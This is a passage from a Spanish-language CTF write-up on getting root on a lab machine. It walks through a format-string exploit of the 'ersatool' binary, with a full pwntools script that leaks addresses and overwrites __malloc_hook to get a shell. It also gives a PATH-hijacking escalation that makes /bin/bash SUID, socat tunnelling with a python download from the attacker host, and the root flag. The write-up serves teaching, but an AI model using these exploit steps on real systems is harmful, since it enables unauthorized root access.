AAAAf7b2915f.ab89b864.f7b2915f.0.78252e78.da4b5a98.ab89be4d.41414141.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.ab89b830.74706f2f.61737279.73746e65.2e782541.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.[!] ERR reading /opt/easyrsa/clients/AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.!
Como se puede observar, 41414141
(AAAA
en código ASCII hexadecimal) aparece en la octava posición (offset 8
). Esto será importante para el proceso de explotación.
Configuración de red para la explotación
Primero, necesitamos montar un entorno de red para tener conectividad bidireccional entre pki
y la máquina de atacante.
Un sentido ya está configurado:
pki => 192.168.254.2:4444 (web) => 172.30.0.9:4444 (attacker)
Y el otro sentido será así:
attacker => 127.0.0.1:1234 => (web) => 192.168.254.3:1234 (pki)
Las conexiones resultantes serán:
Para este propósito, podemos utilizar un reenvío de puertos con SSH como antes (ENTER
+ ~C
):
www-data@web:/tmp$
ssh> -L 1234:192.168.254.3:1234
Forwarding port.
www-data@web:/tmp$
Ahora podemos transferir fácilmente ersatool
y ersatool.c
a la máquina de atacante usando Python (afortunadamente, pki
tiene python3
instalado):
www-data@pki:~/html/uploads$ cd /
www-data@pki:~/$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
$ wget -q 127.0.0.1:1234/usr/bin/ersatool
$ wget -q 127.0.0.1:1234/usr/src/ersatool.c
Para desarrollar el exploit, necesitamos también la librería Glibc:
www-data@pki:/$ ldd /usr/bin/ersatool
linux-vdso.so.1 (0x00007fff7f1f4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9381921000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9381d12000)
$ wget -q 127.0.0.1:1234/lib/x86_64-linux-gnu/libc.so.6
Finalmente, como se trata de un programa de línea de comandos, necesitaremos utilizar socat
para redirigir los datos que vienen de una conexión TCP al binario en ejecución.
Podemos transferir socat
desde la máquina de atacante hasta pki
utilizando el siguiente código en Python:
from urllib.request import urlopen
f = open('./socat', 'wb')
f.write(urlopen('http://192.168.254.2:4444/socat').read())
f.close()
La máquina de atacante tendrá un servidor HTTP en el puerto 4444 (recuérdese la configuración de red):
$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
Este código en Python se puede ejecutar en pki
con un “one-liner” como este:
www-data@pki:/$ cd /tmp
www-data@pki:/tmp$ python3 -c 'from urllib.request import urlopen; f = open("./socat", "wb"); f.write(urlopen("http://192.168.254.2:4444/socat").read()); f.close()'
www-data@pki:/tmp$ file socat
socat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Ahora tenemos que lanzar socat
y empezar a trabajar desde la máquina de atacante desde 127.0.0.1:1234
:
www-data@pki:/tmp$ chmod +x socat
www-data@pki:/tmp$ ./socat tcp-l:1234,reuseaddr,fork EXEC:/usr/bin/ersatool
$ nc 127.0.0.1 1234
# print
print->CN=%x
f7410e5f[!] ERR reading /opt/easyrsa/clients/%x.ovpn!
Explotación de Format String
Esta es la información básica del binario:
$ file ersatool
ersatool: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=961368a18afcdeccddd1f423353ff104bc09e6ae, not stripped
$ checksec ersatool
[*] './ersatool'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
- Se trata de un binario ELF de 64-bit.
- Tiene NX habilitado, lo que indica que la pila (stack) no es ejecutable.
- Tiene PIE habilitado, lo que significa que la dirección base del propio binario está aleatorizada (ASLR) de manera que cambia cada vez que se reinicia el programa (las direcciones de las funciones se calculan como un offset más la dirección base).
- Además, las direcciones de las funciones de Glibc también tienen ASLR, porque está habilitado:
www-data@pki:/tmp$ cat /proc/sys/kernel/randomize_va_space
2
Necesitamos realizar las siguientes tareas para obtener RCE:
- Encontrar el offset de la format string.
- Obtener una dirección de una función del binario utilizando la format string (leak).
- Calcular la dirección base del binario.
- Obtener una dirección de una función de Glibc utilizando la format string (leak).
- Calcular la dirección base de Glibc.
- Poner una shell
one_gadget
en la función__malloc_hook
para conseguir una shell usando la format string. - Ocasionar la llamada de
malloc
solicitando una gran cantidad de memoria.
Tarea 1: Ya realizada, el offset de la format string es 8
.
Tarea 2: Para fugar una dirección, tendremos que utilizar formatos como %x
o %p
(ambos imprimen el valor en hexadecimal de una dirección, pero el segundo añade 0x
). Sin embargo, en lugar de poner un montón de formatos, podemos coger una posición y utilizar %i$p
, donde i
es la posición. Esta vez, como es un binario de 64-bit, necesitamos utilizar %lx
o %lp
.
Con esta idea, podemos crear un sencillo script en Python con pwntools
para obtener los primeros 60 valores de la pila:
from pwn import *
p = remote('127.0.0.1', 1234)
def get_value(i):
p.sendlineafter(b'print->CN=', f'%{i}$lp'.encode())
data = p.recvline()
data = data[:data.index(b'[!] ERR')]
print(i, data.decode())
return int(data.decode(), 16)
p.sendlineafter(b'# ', b'print')
for i in range(1, 61):
get_value(i)
$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1234: Done
1 0x5615109d815f
2 0x7ffdc8e5489a
3 0x5615109d815f
4 0x4a
5 0x696c632f61737279
6 0x1109d41d0
7 (nil)
8 0x706c243825
9 (nil)
...
19 (nil)
20 0x561500000000
21 0x7f4a39c0bf51
22 0x7361652f74706f2f
23 0x696c632f61737279
24 0x3432252f73746e65
25 0x6e70766f2e706c24
26 (nil)
...
33 (nil)
34 0x7f4a00000000
35 0x7f4a39bfd87d
36 (nil)
37 (nil)
38 0x7ffdc8e54940
39 0x5615109d4f83
40 0x7ffdc8e54a28
41 0x100000000
42 0x5615109d5070
43 0xa746e697270
44 (nil)
45 0x100000000
46 0x5615109d5070
47 0x7f4a39ba0b97
48 0x2000000000
49 0x7ffdc8e54a28
50 0x100000000
51 0x5615109d4e5b
52 (nil)
53 0xcc040442782a621f
54 0x5615109d41d0
55 0x7ffdc8e54a20
56 (nil)
57 (nil)
58 0x9fd5b4b24a6a621f
59 0x9eba560cce54621f
60 0x7ffd00000000
Burlar el ASLR es relativamente sencillo, ya que la dirección base aleatorizada siempre termina en tres ceros en hexadecimal. Por tanto, si conocemos los últimos tres dígitos hexadecimales de un offset, podemos identificar fácilmente la dirección real.
Veamos cuál es el offset de la función main
:
$ readelf -s ersatool | grep ' main'
86: 0000000000001e5b 524 FUNC GLOBAL DEFAULT 14main
Si miramos a los valores fugados anteriormente, descubrimos que la posición 51 es 0x5615109d4e5b
, termina en e5b
. Por tanto, tenemos una manera de sacar la dirección real de la función main
utilizando %51$lp
como format string:
main_addr = get_value(51)
print('Address of main():', hex(main_addr))
Tarea 3: La dirección base del binario es muy probable que sea 0x5615109d4e5b - 0x1e5b = 0x5615109d3000
(será distinta en cada ejecución):
elf = context.binary = ELF('./ersatool', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
elf.address = main_addr - elf.symbols.main
print('Binary base address:', hex(elf.address))
Ahora el proceso de explotación de Format String es bastante estándar.
Tarea 4: Para fugar una dirección de Glibc, podemos utilizar la Tabla de Offsets Globales (GOT). Esta tabla es parte del binario y contiene las direcciones de las funciones que pueden ser utilizadas por el binario (es decir, printf
, strncat
, fgets
…).
Las direcciones de la GOT son conocidas porque tenemos sus offsets y la dirección base del binario. Podemos utilizar el siguiente payload para imprimir la dirección de printf
(por ejemplo) en Glibc:
leak = b'%9$s'.ljust(8, b'\0') + p64(elf.got.printf)
p.sendlineafter(b'print->CN=', leak)
data = p.recvline()
data = data[:data.index(b'[!] ERR')]
printf_addr = u64(data.ljust(8, b'\0'))
print('Address of printf():', hex(printf_addr))
Como las cadenas de caracteres en C funcionan como punteros, si ponemos una dirección de la GOT en una format string para mostrar el contenido de una cadena de caracteres, lo que se mostrará es la dirección a la que apunta el la dirección de la GOT.
Nótese que estamos tratando de fugar %9$s
, que serán los datos contenidos en la dirección de printf
de la GOT, que viene justo después de la format string (recuérdese que el offset de la format string es 8
).
Si todo funciona correctamente, tendremos la dirección real de printf
en Glibc.
Tarea 5: La dirección base de Glibc se puede calcular de la misma manera que la dirección base del binario. Solamente tenemos que restar la dirección real del offset. Adicionalmente, tendremos que verificar que la dirección base acaba en 000
en hexadecimal.
libc.address = printf_addr - libc.symbols.printf
print('Glibc base address:', hex(libc.address))
Tarea 6: Ahora necesitamos escribir en una dirección de memoria. La mejor manera de ganar ejecución de comandos en este tipo de situaciones es sobrescribiendo la dirección de __malloc_hook
de Glibc para ejecutar un gadget de shell.
Los gadgets son líneas de código ensamblador que ejecutan una operación concreta. Son útiles en explotación de Buffer Overflow utilizando Return Oriented Programming (ROP) para saltarse el NX (también conocido como DEP).
Esta vez podemos buscar un gadget que directamente ejecute /bin/sh
. Estos se suelen encontrar en Glibc. Utilizando one_gadget
podemos encontrar gadgets potenciales:
$ one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Podemos utilizar 0x4f322
, por ejemplo. Ahora podemos sobrescribir fácilmente __malloc_hook
utilizando pwntools
(esta librería tiene una función mágica llamada fmtstr_payload
que hace todo el trabajo, indicándole el offset, la dirección de memoria en la que escribir y el valor a escribir):
one_gadget_shell = libc.address + 0x4f322
payload = fmtstr_payload(
offset,
{libc.sym.__malloc_hook: one_gadget_shell},
write_size='short'
)
p.sendlineafter(b'print->CN=', payload)
p.recv()
Tarea 7: La necesidad de sobrescribir __malloc_hook
es porque ahora vamos a enviar %10000$c
. Esta tarea va a requerir una reserva de espacio en memoria, por lo que el binario llamará a malloc
. Sin embargo, __malloc_hook
será ejecutado antes. Y como ha sido modificada, en lugar de llamar a malloc
, el programa ejecutará una shell (/bin/sh
):
p.sendlineafter(b'print->CN=', b'%10000$c')
p.interactive()
Finalmente, podemos ejecutar el exploit y conseguir una shell como root
(debido a las capabilities del binario):
$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1234: Done
Offset: 8
51 0x558d4b23fe5b
Address of main(): 0x558d4b23fe5b
Binary base address: 0x558d4b23e000
GOT printf(): 0x558d4b243058
Address of printf(): 0x7f33d1794e80
Glibc base address: 0x7f33d1730000
Address of __malloc_hook(): 0x7f33d1b1bc30
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
b3298f99ac5999202090829ed5fa9fb6
El exploit completo puede encontrarse en exploit.py
(explicación detallada aquí).
Escalada de privilegios alternativa
A pesar de que la explotación de Format String es mucho más elegante, existe una manera más sencilla y rápida de escalar privilegios. La ides es que ersatool
puede crear archivos .ovpn
. A lo mejor está utilizando otro binario por detrás.
Para verificar todos los procesos en ejecución al crearse el archivo .ovpn
, se puede utilizar pspy
. Una vez lanzado, se puede ver que le binario utiliza openssl
.
Pero, el matiz es que el programa se llama con una ruta relativa. Por tanto, este binario es vulnerable a PATH
hijacking. Podemos crear un ejecutable openssl
malicioso dentro de /tmp
y añadir /tmp
a la variable de entorno PATH
:
www-data@pki:/tmp$ echo -e '#!/bin/bash\nchmod 4755 /bin/bash' > openssl
www-data@pki:/tmp$ cat openssl
#!/bin/bash
chmod 4755 /bin/bash
www-data@pki:/tmp$ chmod +x openssl
www-data@pki:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@pki:/tmp$ which openssl
/usr/bin/openssl
www-data@pki:/tmp$ export PATH=/tmp:$PATH
www-data@pki:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@pki:/tmp$ which openssl
/tmp/openssl
www-data@pki:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
El openssl
malicioso añadirá el permiso SUID a /bin/bash
. Si utilizamos ersatool create
, el openssl
malicioso se ejecutará:
www-data@pki:/tmp$ ersatool create xD
...
www-data@pki:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Y ganamos acceso como root
:
www-data@pki:/tmp$ bash -p
bash-4.4# cat /root/root.txt
b3298f99ac5999202090829ed5fa9fb6